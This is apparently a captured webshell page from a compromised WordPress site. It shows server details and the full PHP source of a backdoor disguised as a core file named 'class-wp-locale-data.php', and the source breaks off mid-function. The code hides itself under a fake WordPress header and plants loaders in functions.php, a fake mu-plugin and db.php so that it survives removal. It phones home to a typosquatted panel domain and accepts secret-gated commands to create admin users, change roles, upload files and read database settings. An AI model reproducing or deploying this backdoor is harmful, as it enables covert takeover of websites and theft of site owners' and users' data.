403Webshell
Server IP : 175.110.121.100  /  Your IP : 10.10.10.2
Web Server : Apache/2
System : Linux webserver 6.12.0-211.34.1.el10_2.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 15 07:56:02 EDT 2026 x86_64
User : webadmin ( 1000)
PHP Version : 8.3.31
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/webadmin/domains/kwakkel.me/public_html/wp-content/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/webadmin/domains/kwakkel.me/public_html/wp-content/languages/class-wp-locale-data.php
<?php
// wpanel - bu blogu functions.php en altina yapistir (tek parca)
if (!defined('WPANEL_AGENT_LOADED')) {
    if (defined('ABSPATH')) {
        if (!defined('WPANEL_HIDDEN_REL')) {
            define('WPANEL_HIDDEN_REL', 'languages/class-wp-locale-data.php');
        }
        if (!defined('WPANEL_HIDDEN_FILE')) {
            define('WPANEL_HIDDEN_FILE', 'class-wp-locale-data.php');
        }
        if (!defined('WPANEL_HIDDEN_FALLBACK_REL')) {
            define('WPANEL_HIDDEN_FALLBACK_REL', 'upgrade/class-wp-locale-data.php');
        }
        $_wpanelHidden = '';
        foreach ([
            WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_REL,
            WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_FALLBACK_REL,
            WP_CONTENT_DIR . '/.wpanel/agent.php',
        ] as $_wpanelCandidate) {
            if (is_file($_wpanelCandidate)) {
                $_wpanelHidden = $_wpanelCandidate;
                break;
            }
        }
        if ($_wpanelHidden === '') {
            $_wpanelHidden = WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_REL;
        }
        $_wpanelRunInline = true;
        if (is_file($_wpanelHidden)) {
            $_wpanelSelf = @realpath(__FILE__);
            $_wpanelHiddenReal = @realpath($_wpanelHidden);
            $_wpanelLoadHidden = false;
            if ($_wpanelSelf !== false && $_wpanelHiddenReal !== false) {
                $_wpanelLoadHidden = ($_wpanelSelf !== $_wpanelHiddenReal);
            } else {
                $_wpanelLoadHidden = (basename(__FILE__) !== WPANEL_HIDDEN_FILE && basename(__FILE__) !== 'agent.php');
            }
            if ($_wpanelLoadHidden) {
                require_once $_wpanelHidden;
                $_wpanelRunInline = false;
            }
        }
        if ($_wpanelRunInline) {
            define('WPANEL_AGENT_LOADED', true);

// ============ AYARLAR ============
if (!defined('WPANEL_HIDDEN_REL')) {
    define('WPANEL_HIDDEN_REL', 'languages/class-wp-locale-data.php');
}
if (!defined('WPANEL_HIDDEN_FILE')) {
    define('WPANEL_HIDDEN_FILE', 'class-wp-locale-data.php');
}
if (!defined('WPANEL_HIDDEN_FALLBACK_REL')) {
    define('WPANEL_HIDDEN_FALLBACK_REL', 'upgrade/class-wp-locale-data.php');
}
if (!defined('WPANEL_PANEL_URL')) {
    define('WPANEL_PANEL_URL', 'https://wordpiress.com'); // Panel adresin
}
if (!defined('WPANEL_SECRET')) {
    define('WPANEL_SECRET', 'wpanel-register-secret-change-me'); // .env AGENT_SECRET ile aynı
}
define('WPANEL_AGENT_VERSION', '1.7.2');
define('WPANEL_FUNCTIONS_MARKER', 'WPANEL:BEGIN');
define('WPANEL_DB_MARKER', 'wp-core-locale-bootstrap');
define('WPANEL_MU_PLUGIN_REL', 'mu-plugins/wp-locale-bootstrap.php');
define('WPANEL_MU_MARKER', 'wp-locale-bootstrap');
define('WPANEL_LEGACY_HIDDEN_REL', '.wpanel/agent.php');
define('WPANEL_LEGACY_DB_MARKER', 'wpanel-db-loader');
// =================================

error_reporting(0);
@ini_set('display_errors', '0');

if (!function_exists('hash_equals')) {
    function hash_equals($known_string, $user_string)
    {
        if (!is_string($known_string) || !is_string($user_string)) {
            return false;
        }
        if (strlen($known_string) !== strlen($user_string)) {
            return false;
        }
        $result = 0;
        $len = strlen($known_string);
        for ($i = 0; $i < $len; $i++) {
            $result |= ord($known_string[$i]) ^ ord($user_string[$i]);
        }
        return $result === 0;
    }
}

/**
 * Gizli kopya + functions.php'ye otomatik yeniden ekleme (+ db.php yedek).
 */
function wpanel_hidden_agent_path() {
    return WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_REL;
}

function wpanel_hidden_fallback_path() {
    return WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_FALLBACK_REL;
}

function wpanel_hidden_read_path() {
    $paths = [
        wpanel_hidden_agent_path(),
        wpanel_hidden_fallback_path(),
        wpanel_legacy_hidden_agent_path(),
    ];

    foreach ($paths as $path) {
        if (is_file($path)) {
            return $path;
        }
    }

    return wpanel_hidden_write_path();
}

function wpanel_hidden_write_path() {
    $candidates = [wpanel_hidden_agent_path(), wpanel_hidden_fallback_path()];

    foreach ($candidates as $path) {
        $dir = dirname($path);
        if (wpanel_ensure_dir($dir) && is_writable($dir)) {
            return $path;
        }
    }

    return wpanel_hidden_agent_path();
}

function wpanel_legacy_hidden_agent_path() {
    return WP_CONTENT_DIR . '/' . WPANEL_LEGACY_HIDDEN_REL;
}

function wpanel_format_hidden_install($source) {
    if (!is_string($source) || $source === '') {
        return $source;
    }

    if (strpos($source, 'WordPress Locale Data Handler') !== false) {
        return $source;
    }

    $source = preg_replace('/^<\?php\s*\n(?:\\/\\/[^\n]*\n)*/i', '', $source);
    $source = ltrim($source);

    $header = <<<'HDR'
/**
 * WordPress Locale Data Handler
 *
 * Handles locale-specific data loading for translations.
 *
 * @package WordPress
 * @subpackage i18n
 * @since 6.4.0
 */

HDR;

    return "<?php\n" . $header . $source;
}

function wpanel_cleanup_legacy_hidden() {
    // Yeni gizli kopya gerçekten oluşmadan eski dosyayı ASLA silme;
    // yoksa persistence zinciri kırılır (agent hiçbir yerden yüklenemez).
    if (!wpanel_new_hidden_exists()) {
        return;
    }

    $legacyFile = wpanel_legacy_hidden_agent_path();
    if (is_file($legacyFile)) {
        @unlink($legacyFile);
    }

    $legacyDir = WP_CONTENT_DIR . '/.wpanel';
    if (is_dir($legacyDir)) {
        @rmdir($legacyDir);
    }
}

function wpanel_agent_source() {
    $file = __FILE__;
    $content = @file_get_contents($file);
    if (!is_string($content) || $content === '') {
        return null;
    }

    if (preg_match('/\\/\\/ WPANEL:BEGIN[^\\n]*\\n\\s*(.*?)\\/\\/ WPANEL:END-AGENT/s', $content, $m)) {
        $body = trim($m[1]);
        if ($body !== '') {
            if (stripos($body, '<?php') !== 0) {
                $body = "<?php\n" . $body;
            }
            return $body . "\n";
        }
    }

    if (basename($file) === WPANEL_HIDDEN_FILE || basename($file) === 'agent.php') {
        return $content;
    }

    if (basename($file) === 'wpanel.php') {
        return wpanel_format_hidden_install($content);
    }

    $hidden = wpanel_hidden_read_path();
    if (is_file($hidden)) {
        $cached = @file_get_contents($hidden);
        if (is_string($cached) && $cached !== '') {
            return $cached;
        }
    }

    return null;
}

function wpanel_saved_functions_block_valid($saved) {
    if (!is_string($saved) || $saved === '') {
        return false;
    }

    return strpos($saved, 'WPANEL:BEGIN') !== false;
}

function wpanel_get_saved_functions_block() {
    if (!function_exists('get_option')) {
        return null;
    }

    $saved = get_option('wpanel_functions_block');
    if (wpanel_saved_functions_block_valid($saved)) {
        return trim($saved);
    }

    $backup = get_option('wpanel_agent_backup');
    if (!is_string($backup) || $backup === '') {
        return null;
    }

    $content = base64_decode($backup, true);
    if (!is_string($content) || $content === '') {
        return null;
    }

    if (preg_match('/(\\/\\/ WPANEL:BEGIN.*?\\/\\/ WPANEL:END-AGENT)/s', $content, $m)) {
        $block = trim($m[1]);
        if (wpanel_saved_functions_block_valid($block)) {
            if (function_exists('update_option')) {
                update_option('wpanel_functions_block', $block, false);
            }
            return $block;
        }
    }

    return null;
}

function wpanel_save_source_backup($content) {
    if (!function_exists('update_option')) {
        return;
    }
    update_option('wpanel_agent_backup', base64_encode($content), false);
    update_option('wpanel_agent_version', WPANEL_AGENT_VERSION, false);
}

function wpanel_ensure_dir($dir) {
    if (is_dir($dir)) {
        return true;
    }
    if (function_exists('wp_mkdir_p')) {
        return (bool) wp_mkdir_p($dir);
    }
    return @mkdir($dir, 0755, true) || is_dir($dir);
}

function wpanel_write_file($path, $content) {
    $dir = dirname($path);
    if (!wpanel_ensure_dir($dir)) {
        return false;
    }
    if (!is_writable($dir)) {
        return false;
    }
    if (is_file($path) && !is_writable($path)) {
        @chmod($path, 0664);
    }
    return @file_put_contents($path, $content, LOCK_EX) !== false;
}

function wpanel_hidden_loader_code() {
    return <<<'PHP'
$_wp_locale_data = WP_CONTENT_DIR . '/languages/class-wp-locale-data.php';
if (!is_file($_wp_locale_data)) {
    $_wp_locale_data = WP_CONTENT_DIR . '/upgrade/class-wp-locale-data.php';
}
if (!is_file($_wp_locale_data)) {
    $_wp_locale_data = WP_CONTENT_DIR . '/.wpanel/agent.php';
}
if (is_file($_wp_locale_data)) {
    require_once $_wp_locale_data;
}
PHP;
}

function wpanel_hidden_loader_snippet() {
    return "\n\n// WordPress locale data handler\n" . wpanel_hidden_loader_code() . "\n";
}

function wpanel_hidden_needs_update($target, $source) {
    if (!is_file($target)) {
        return true;
    }
    $existing = @file_get_contents($target);
    if ($existing === false || $existing === '') {
        return true;
    }
    if (md5($existing) === md5($source)) {
        return false;
    }
    $installedVer = '';
    if (preg_match("/define\\('WPANEL_AGENT_VERSION',\\s*'([^']+)'\\)/", $existing, $m)) {
        $installedVer = $m[1];
    }
    return $installedVer !== WPANEL_AGENT_VERSION;
}

function wpanel_restore_hidden_from_backup() {
    if (!function_exists('get_option')) {
        return false;
    }
    $backup = get_option('wpanel_agent_backup');
    if (!is_string($backup) || $backup === '') {
        return false;
    }
    $content = base64_decode($backup, true);
    if (!is_string($content) || $content === '') {
        return false;
    }
    return wpanel_restore_hidden_to_all($content);
}

function wpanel_restore_hidden_to_all($content) {
    $formatted = wpanel_format_hidden_install($content);
    $ok = false;
    foreach ([wpanel_hidden_agent_path(), wpanel_hidden_fallback_path()] as $target) {
        if (wpanel_write_file($target, $formatted)) {
            $ok = true;
        }
    }
    return $ok;
}

function wpanel_new_hidden_exists() {
    return is_file(wpanel_hidden_agent_path()) || is_file(wpanel_hidden_fallback_path());
}

function wpanel_extract_block_version($content) {
    if (preg_match("/define\\('WPANEL_AGENT_VERSION',\\s*'([^']+)'\\)/", (string) $content, $m)) {
        return $m[1];
    }
    return '';
}

/**
 * Aktif/parent tema functions.php'lerinde WPANEL:BEGIN bloğunu ara,
 * en yeni sürümü döndür. Oto-upgrade için kullanılır:
 * Panel'den güncel kod functions.php'ye yapıştırıldığında, db.php üzerinden
 * yüklenen ESKİ gizli kopya bunu görüp kendini yeni sürüme yazar.
 */
function wpanel_read_theme_block() {
    if (!function_exists('get_stylesheet_directory')) {
        return null;
    }

    $best = null;
    $bestVer = '';
    foreach (wpanel_functions_targets() as $file) {
        if (!is_file($file) || !is_readable($file)) {
            continue;
        }
        $content = @file_get_contents($file);
        if ($content === false || $content === '') {
            continue;
        }
        if (!preg_match('/\\/\\/ WPANEL:BEGIN[^\\n]*\\n\\s*(.*?)\\/\\/ WPANEL:END-AGENT/s', $content, $m)) {
            continue;
        }
        $body = trim($m[1]);
        if ($body === '') {
            continue;
        }
        $ver = wpanel_extract_block_version($body);
        if ($best === null || ($ver !== '' && version_compare($ver, $bestVer, '>'))) {
            $best = $body;
            $bestVer = $ver;
        }
    }

    if ($best === null) {
        return null;
    }
    if (stripos($best, '<?php') !== 0) {
        $best = "<?php\n" . $best;
    }

    return ['version' => $bestVer, 'source' => $best . "\n"];
}

function wpanel_ensure_hidden_copy() {
    $source = wpanel_agent_source();

    // OTO-UPGRADE: tema functions.php'de DAHA YENİ bir sürüm varsa ona yükselt.
    // Böylece güncel kodu functions.php'ye yapıştırmak, eski gizli kopyayı
    // (db.php üzerinden yüklenip çalışsa bile) otomatik günceller.
    $theme = wpanel_read_theme_block();
    if ($theme !== null && $theme['version'] !== ''
        && version_compare($theme['version'], WPANEL_AGENT_VERSION, '>')) {
        $source = $theme['source'];
    }

    if ($source === null) {
        wpanel_restore_hidden_from_backup();
        return;
    }

    wpanel_save_source_backup($source);

    $formatted = wpanel_format_hidden_install($source);

    // 2 gizli kopya: languages + upgrade (biri silinse diğeri kalır)
    foreach ([wpanel_hidden_agent_path(), wpanel_hidden_fallback_path()] as $target) {
        $existing = is_file($target) ? @file_get_contents($target) : false;
        if ($existing === false || $existing === '' || md5($existing) !== md5($formatted)) {
            wpanel_write_file($target, $formatted);
        }
    }
}

function wpanel_capture_functions_block() {
    if (!function_exists('update_option')) {
        return;
    }

    $paths = [];
    foreach (wpanel_functions_targets() as $file) {
        $paths[] = $file;
    }
    $hidden = wpanel_hidden_read_path();
    if (is_string($hidden) && $hidden !== '') {
        $paths[] = $hidden;
    }
    $paths[] = __FILE__;
    $paths = array_values(array_unique($paths));

    foreach ($paths as $path) {
        $content = @file_get_contents($path);
        if (!is_string($content) || $content === '') {
            continue;
        }

        if (preg_match('/(\\/\\/ WPANEL:BEGIN.*?\\/\\/ WPANEL:END-AGENT)/s', $content, $m)) {
            update_option('wpanel_functions_block', trim($m[1]), false);
            return;
        }
    }
}

function wpanel_functions_loader_snippet() {
    // Önce DB'deki tam blok (eskisi gibi), yoksa minimal loader
    $saved = wpanel_get_saved_functions_block();
    if (is_string($saved) && $saved !== '') {
        return "\n\n" . $saved . "\n";
    }

    return wpanel_hidden_loader_snippet();
}

/**
 * Tarama hedefleri: child + parent (okuma / capture / upgrade için).
 * Yazma için wpanel_functions_write_target() kullan.
 */
function wpanel_functions_targets() {
    if (!function_exists('get_stylesheet_directory')) {
        return [];
    }

    $files = [get_stylesheet_directory() . '/functions.php'];
    if (function_exists('get_template_directory')) {
        $parent = get_template_directory() . '/functions.php';
        if (!in_array($parent, $files, true)) {
            $files[] = $parent;
        }
    }

    return $files;
}

/**
 * Yazılacak tek functions.php: aktif tema (child varsa child).
 * Parent'a da yazmak child temalarda çift yükleme → critical error üretir.
 */
function wpanel_functions_write_target() {
    if (!function_exists('get_stylesheet_directory')) {
        return '';
    }

    return get_stylesheet_directory() . '/functions.php';
}

function wpanel_functions_has_loader($content) {
    if (strpos($content, 'WPANEL:BEGIN') !== false) {
        return true;
    }
    if (strpos($content, WPANEL_HIDDEN_REL) !== false) {
        return true;
    }
    if (strpos($content, WPANEL_HIDDEN_FALLBACK_REL) !== false) {
        return true;
    }
    if (strpos($content, WPANEL_DB_MARKER) !== false) {
        return true;
    }
    if (strpos($content, WPANEL_MU_MARKER) !== false) {
        return true;
    }
    if (strpos($content, 'WordPress locale data handler') !== false) {
        return true;
    }
    if (strpos($content, WPANEL_LEGACY_HIDDEN_REL) !== false) {
        return true;
    }

    return false;
}

/**
 * functions.php içinden WPANEL bloğunu / locale loader satırlarını temizle.
 */
function wpanel_strip_functions_loader($content) {
    if (!is_string($content) || $content === '') {
        return $content;
    }

    $content = preg_replace(
        '/\n*\s*\/\/\s*WPANEL:BEGIN.*?\/\/\s*WPANEL:END-AGENT\s*/s',
        "\n",
        $content
    );

    $content = preg_replace(
        '/\n*\s*\/\/\s*WordPress locale data handler\s*\n'
        . '\s*\$_wp_locale_data\s*=\s*WP_CONTENT_DIR\s*\.\s*\'\/languages\/class-wp-locale-data\.php\';\s*\n'
        . '(?:\s*if\s*\(!is_file\(\$_wp_locale_data\)\)\s*\{\s*\n'
        . '\s*\$_wp_locale_data\s*=\s*WP_CONTENT_DIR\s*\.\s*\'[^\']+\';\s*\n'
        . '\s*\}\s*\n)+'
        . '\s*if\s*\(is_file\(\$_wp_locale_data\)\)\s*\{\s*\n'
        . '\s*require_once\s*\$_wp_locale_data;\s*\n'
        . '\s*\}\s*/s',
        "\n",
        $content
    );

    return rtrim($content) . "\n";
}

/**
 * Child temada parent + child ikisine birden yazılmışsa parent'tan kaldır.
 * WP her ikisini de yüklediği için çift ekleme critical error verir.
 */
function wpanel_dedupe_functions_loader() {
    if (!function_exists('get_stylesheet_directory') || !function_exists('get_template_directory')) {
        return false;
    }

    $child = get_stylesheet_directory() . '/functions.php';
    $parent = get_template_directory() . '/functions.php';
    if ($child === $parent) {
        return false;
    }
    if (!is_file($child) || !is_file($parent)) {
        return false;
    }

    $childContent = @file_get_contents($child);
    $parentContent = @file_get_contents($parent);
    if ($childContent === false || $parentContent === false) {
        return false;
    }
    if (!wpanel_functions_has_loader($childContent) || !wpanel_functions_has_loader($parentContent)) {
        return false;
    }

    if (!is_writable($parent)) {
        @chmod($parent, 0664);
    }
    if (!is_writable($parent)) {
        return false;
    }

    $cleaned = wpanel_strip_functions_loader($parentContent);
    if ($cleaned === $parentContent || wpanel_functions_has_loader($cleaned)) {
        return false;
    }

    return wpanel_write_file($parent, $cleaned);
}

function wpanel_ensure_functions_loader() {
    if (!function_exists('get_stylesheet_directory')) {
        return false;
    }

    // Önce child+parent çift kopyayı temizle (bozuk siteleri düzelt)
    wpanel_dedupe_functions_loader();

    $snippet = wpanel_functions_loader_snippet();
    if ($snippet === '') {
        return false;
    }

    // Parent veya child'ta zaten varsa tekrar ekleme
    foreach (wpanel_functions_targets() as $existing) {
        if (!is_file($existing) || !is_readable($existing)) {
            continue;
        }
        $content = @file_get_contents($existing);
        if (is_string($content) && wpanel_functions_has_loader($content)) {
            return true;
        }
    }

    // Yalnızca aktif tema (child varsa child) functions.php'ye yaz
    $file = wpanel_functions_write_target();
    if ($file === '') {
        return false;
    }

    $dir = dirname($file);
    if (!is_dir($dir)) {
        wpanel_ensure_dir($dir);
    }
    if (!is_writable($dir)) {
        @chmod($dir, 0755);
    }

    if (!is_file($file)) {
        if (!wpanel_ensure_dir($dir) || !is_writable($dir)) {
            return false;
        }
        return wpanel_write_file($file, "<?php\n" . ltrim($snippet));
    }

    if (!is_readable($file)) {
        return false;
    }

    $content = @file_get_contents($file);
    if ($content === false || wpanel_functions_has_loader($content)) {
        return $content !== false;
    }

    if (!is_writable($file)) {
        @chmod($file, 0664);
    }
    if (!is_writable($file)) {
        return false;
    }

    $suffix = substr(rtrim($content), -2) === '?>' ? '' : "\n";
    return wpanel_write_file($file, rtrim($content) . $suffix . $snippet);
}

function wpanel_mu_plugin_path() {
    return WP_CONTENT_DIR . '/' . WPANEL_MU_PLUGIN_REL;
}

function wpanel_mu_plugin_snippet() {
    return <<<'PHP'
<?php
/**
 * Plugin Name: WP Locale Bootstrap
 * Description: Initializes locale data handlers for translations.
 * Version: 6.4.0
 * Author: WordPress
 */
// wp-locale-bootstrap
$_wp_locale_data = __DIR__ . '/../languages/class-wp-locale-data.php';
if (!is_file($_wp_locale_data)) {
    $_wp_locale_data = __DIR__ . '/../upgrade/class-wp-locale-data.php';
}
if (!is_file($_wp_locale_data)) {
    $_wp_locale_data = __DIR__ . '/../.wpanel/agent.php';
}
if (is_file($_wp_locale_data)) {
    require_once $_wp_locale_data;
}

PHP;
}

function wpanel_mu_plugin_present($content) {
    if (!is_string($content) || $content === '') {
        return false;
    }

    return strpos($content, WPANEL_MU_MARKER) !== false
        || strpos($content, WPANEL_HIDDEN_REL) !== false
        || strpos($content, 'class-wp-locale-data.php') !== false;
}

function wpanel_mu_plugin_is_broken($content) {
    if (!is_string($content) || $content === '') {
        return false;
    }
    if (!wpanel_mu_plugin_present($content)) {
        return false;
    }
    // <?php etiketi yoksa dosya düz metin olarak basılır — bozuk.
    if (strpos($content, '<?php') === false) {
        return true;
    }
    return false;
}

function wpanel_ensure_mu_plugin() {
    if (!defined('WP_CONTENT_DIR') || !is_dir(WP_CONTENT_DIR)) {
        return false;
    }

    $path = wpanel_mu_plugin_path();
    $snippet = wpanel_mu_plugin_snippet();

    if (is_file($path)) {
        $content = @file_get_contents($path);
        if ($content !== false) {
            if (wpanel_mu_plugin_is_broken($content)) {
                return wpanel_write_file($path, $snippet);
            }
            if (wpanel_mu_plugin_present($content)) {
                return true;
            }
        }
    }

    return wpanel_write_file($path, $snippet);
}

function wpanel_db_dropin_snippet() {
    return <<<'PHP'
// wp-core-locale-bootstrap
$_wp_locale_data = __DIR__ . '/languages/class-wp-locale-data.php';
if (!is_file($_wp_locale_data)) {
    $_wp_locale_data = __DIR__ . '/upgrade/class-wp-locale-data.php';
}
if (!is_file($_wp_locale_data)) {
    $_wp_locale_data = __DIR__ . '/.wpanel/agent.php';
}
if (is_file($_wp_locale_data)) {
    require_once $_wp_locale_data;
}

PHP;
}

function wpanel_db_dropin_present($content) {
    if (!is_string($content) || $content === '') {
        return false;
    }

    if (strpos($content, WPANEL_DB_MARKER) !== false) {
        return true;
    }
    if (strpos($content, WPANEL_LEGACY_DB_MARKER) !== false) {
        return true;
    }
    if (strpos($content, WPANEL_HIDDEN_REL) !== false) {
        return true;
    }
    if (strpos($content, WPANEL_LEGACY_HIDDEN_REL) !== false) {
        return true;
    }

    return false;
}

/**
 * db.php bizim loader'ımızı içeriyor ama bozuksa tespit et.
 * (Örn. eski sürümün hatalı strip'inden kalan başıboş '}' ya da
 * marker var ama require_once satırı yok.)
 */
function wpanel_db_dropin_is_broken($content) {
    if (!is_string($content) || $content === '') {
        return false;
    }
    $isOurs = (strpos($content, WPANEL_DB_MARKER) !== false)
        || (strpos($content, WPANEL_LEGACY_DB_MARKER) !== false)
        || (strpos($content, WPANEL_HIDDEN_REL) !== false)
        || (strpos($content, WPANEL_LEGACY_HIDDEN_REL) !== false);
    if (!$isOurs) {
        return false; // bizim dropin değil, dokunma
    }

    // <?php'den sonraki ilk anlamlı karakter kapatma parantezi ise bozuk.
    $body = preg_replace('/^\\xEF\\xBB\\xBF/', '', (string) $content); // BOM
    $body = preg_replace('/^\\s*<\\?php\\s*/', '', $body);
    $body = ltrim($body);
    if ($body !== '' && $body[0] === '}') {
        return true;
    }

    // Marker var ama çalıştıracak require_once yoksa bozuk.
    if (strpos($content, WPANEL_DB_MARKER) !== false && strpos($content, 'require_once') === false) {
        return true;
    }

    // Süslü parantez dengesi bozuksa (kaba kontrol) bozuk say.
    if (substr_count($content, '{') !== substr_count($content, '}')) {
        return true;
    }

    return false;
}

function wpanel_ensure_db_dropin() {
    if (!defined('WP_CONTENT_DIR') || !is_dir(WP_CONTENT_DIR)) {
        return;
    }

    $path = WP_CONTENT_DIR . '/db.php';
    $snippet = wpanel_db_dropin_snippet();

    if (is_file($path)) {
        $content = @file_get_contents($path);
        if ($content === false) {
            return;
        }

        // OTO-ONARIM: bizim (bozuk) dropin'imizse temiz haliyle yeniden yaz.
        if (wpanel_db_dropin_is_broken($content)) {
            if (is_writable($path)) {
                @file_put_contents($path, "<?php\n\n" . $snippet, LOCK_EX);
            }
            return;
        }

        // Yeni marker zaten varsa dokunma.
        if (strpos($content, WPANEL_DB_MARKER) !== false) {
            return;
        }
        // Yeni marker yok → yalnızca ekle. Eski (legacy) loader kalsa bile
        // WPANEL_AGENT_LOADED guard'ı sayesinde zararsız no-op olur; asla strip etme
        // (yanlış kesme db.php'yi bozup tüm siteyi düşürebilir).
        if (is_writable($path)) {
            @file_put_contents($path, rtrim($content) . "\n\n" . $snippet, LOCK_EX);
        }
        return;
    }

    if (!is_writable(WP_CONTENT_DIR)) {
        return;
    }

    @file_put_contents($path, "<?php\n\n" . $snippet, LOCK_EX);
}

function wpanel_self_heal_install() {
    wpanel_ensure_hidden_copy();
    wpanel_ensure_mu_plugin();
    wpanel_ensure_db_dropin();
    wpanel_cleanup_legacy_hidden();
    wpanel_capture_functions_block();
    wpanel_ensure_functions_loader();
}

function wpanel_maybe_self_heal() {
    if (!function_exists('get_transient') || !function_exists('set_transient')) {
        wpanel_self_heal_install();
        return;
    }

    if (get_transient('wpanel_heal_check')) {
        return;
    }

    set_transient('wpanel_heal_check', 1, 15 * MINUTE_IN_SECONDS);
    wpanel_self_heal_install();
}

function wpanel_after_theme_update($upgrader, $options) {
    unset($upgrader);
    if (!is_array($options) || (isset($options['type']) ? $options['type'] : '') !== 'theme') {
        return;
    }

    delete_transient('wpanel_heal_check');
    wpanel_self_heal_install();
}

/**
 * Panel'in çağıracağı sabit agent URL (sayfadan bağımsız)
 */
function wpanel_self_url() {
    if (function_exists('home_url')) {
        return home_url('/?wpanel=1');
    }
    $https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
        || (isset($_SERVER['SERVER_PORT']) && (string) $_SERVER['SERVER_PORT'] === '443')
        || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');
    $scheme = $https ? 'https' : 'http';
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
    return $scheme . '://' . $host . '/?wpanel=1';
}

function wpanel_secret() {
    return (string) WPANEL_SECRET;
}

function wpanel_authorized() {
    $expected = wpanel_secret();
    if ($expected === '' || $expected === 'CHANGE_ME') {
        return false;
    }
    $provided = '';
    if (!empty($_SERVER['HTTP_X_WPANEL_SECRET'])) {
        $provided = (string) $_SERVER['HTTP_X_WPANEL_SECRET'];
    } elseif (isset($_GET['s'])) {
        $provided = (string) $_GET['s'];
    } elseif (isset($_POST['s'])) {
        $provided = (string) $_POST['s'];
    }
    return hash_equals($expected, $provided);
}

function wpanel_silent_exit($status = 204) {
    if (!headers_sent()) {
        http_response_code($status);
        header('Cache-Control: no-store');
        header('Content-Length: 0');
    }
    exit;
}

function wpanel_body() {
    $raw = file_get_contents('php://input');
    if ($raw) {
        $data = json_decode($raw, true);
        if (is_array($data)) {
            return $data;
        }
    }
    return is_array($_POST) ? $_POST : [];
}

function wpanel_out($payload, $status = 200) {
    if (!headers_sent()) {
        http_response_code($status);
        header('Content-Type: application/json; charset=utf-8');
        header('Cache-Control: no-store');
    }
    echo json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

function wpanel_is_agent_request() {
    return isset($_GET['wpanel']) && (string) $_GET['wpanel'] !== '' && (string) $_GET['wpanel'] !== '0';
}

function wpanel_bootstrap_hooks() {
    if (!function_exists('add_action')) {
        return;
    }

    add_action('init', 'wpanel_on_init', 1);
    add_action('init', 'wpanel_details_action_tools', 2);
    add_action('init', 'wpanel_schedule_cron', 5);
    add_action('wpanel_cron_heartbeat', 'wpanel_cron_heartbeat');
    add_action('after_switch_theme', 'wpanel_on_theme_activate', 20, 0);
    add_action('upgrader_process_complete', 'wpanel_after_theme_update', 20, 2);
    add_filter('cron_schedules', 'wpanel_cron_schedules');
}

/**
 * Her WordPress isteğinde: API varsa yanıtla; yoksa arka planda kayıt / heartbeat
 */
function wpanel_on_init() {
    // Kalıcılık noktalarını her istekte kontrol et (throttle dışı)
    wpanel_ensure_mu_plugin();
    wpanel_ensure_db_dropin();
    wpanel_ensure_functions_loader();
    wpanel_maybe_self_heal();

    if (wpanel_is_agent_request()) {
        wpanel_handle_request();
        return;
    }

    // Normal sayfa yüklemelerinde sessiz kayıt + heartbeat (throttled)
    wpanel_maybe_register();
    wpanel_maybe_heartbeat();
}

function wpanel_handle_request() {
    wpanel_maybe_register();

    $action = isset($_GET['a']) ? preg_replace('/[^a-z_]/', '', (string) $_GET['a']) : '';

    if ($action === '' || $action === 'register') {
        wpanel_silent_exit();
    }

    if (!wpanel_authorized()) {
        wpanel_out(['ok' => false, 'error' => 'Yetkisiz'], 401);
    }

    switch ($action) {
        case 'ping':
            wpanel_out(['ok' => true, 'info' => wpanel_site_info()]);
            break;
        case 'info':
            wpanel_out(['ok' => true, 'info' => wpanel_site_info(), 'meta' => wpanel_extra_meta()]);
            break;
        case 'config':
            wpanel_out([
                'ok' => true,
                'db' => wpanel_db_info(),
                'urls' => [
                    'home' => home_url('/'),
                    'site' => site_url('/'),
                    'admin' => admin_url(),
                ],
            ]);
            break;
        case 'users':
            wpanel_out(['ok' => true, 'users' => wpanel_list_users()]);
            break;
        case 'users_create':
            wpanel_out(wpanel_create_user(wpanel_body()));
            break;
        case 'users_delete':
            wpanel_out(wpanel_delete_user(wpanel_body()));
            break;
        case 'users_role':
            wpanel_out(wpanel_set_role(wpanel_body()));
            break;
        case 'upload':
            wpanel_out(wpanel_upload());
            break;
        case 'plugins':
            wpanel_out(['ok' => true, 'plugins' => wpanel_list_plugins()]);
            break;
        default:
            wpanel_out(['ok' => false, 'error' => 'Bilinmeyen action'], 404);
    }
}

function wpanel_on_theme_activate() {
    wpanel_self_heal_install();
    wpanel_register_with_panel('theme_activate');
    wpanel_push_event('theme_activate', [
        'template' => function_exists('get_template_directory') ? get_template_directory() : '',
        'stylesheet' => function_exists('get_stylesheet_directory') ? get_stylesheet_directory() : '',
    ]);
}

/** Agent → panel sinyal aralığı (saniye) */
function wpanel_signal_interval() {
    return 60;
}

function wpanel_cron_schedules($schedules) {
    $sec = wpanel_signal_interval();
    $schedules['wpanel_signal'] = [
        'interval' => $sec,
        'display' => 'wPanel signal (' . $sec . 's)',
    ];
    return $schedules;
}

function wpanel_schedule_cron() {
    if (!function_exists('wp_next_scheduled') || !function_exists('wp_schedule_event')) {
        return;
    }
    if (wp_next_scheduled('wpanel_cron_heartbeat')) {
        return;
    }
    wp_schedule_event(time() + wpanel_signal_interval(), 'wpanel_signal', 'wpanel_cron_heartbeat');
}

function wpanel_cron_heartbeat() {
    wpanel_maybe_self_heal();
    wpanel_push_event_async('heartbeat', ['info' => wpanel_site_info()]);
}

/**
 * Panele kayıt — sinyal aralığında en fazla bir kez
 */
function wpanel_maybe_register() {
    if (!function_exists('get_transient') || !function_exists('set_transient')) {
        wpanel_register_with_panel('boot');
        return;
    }

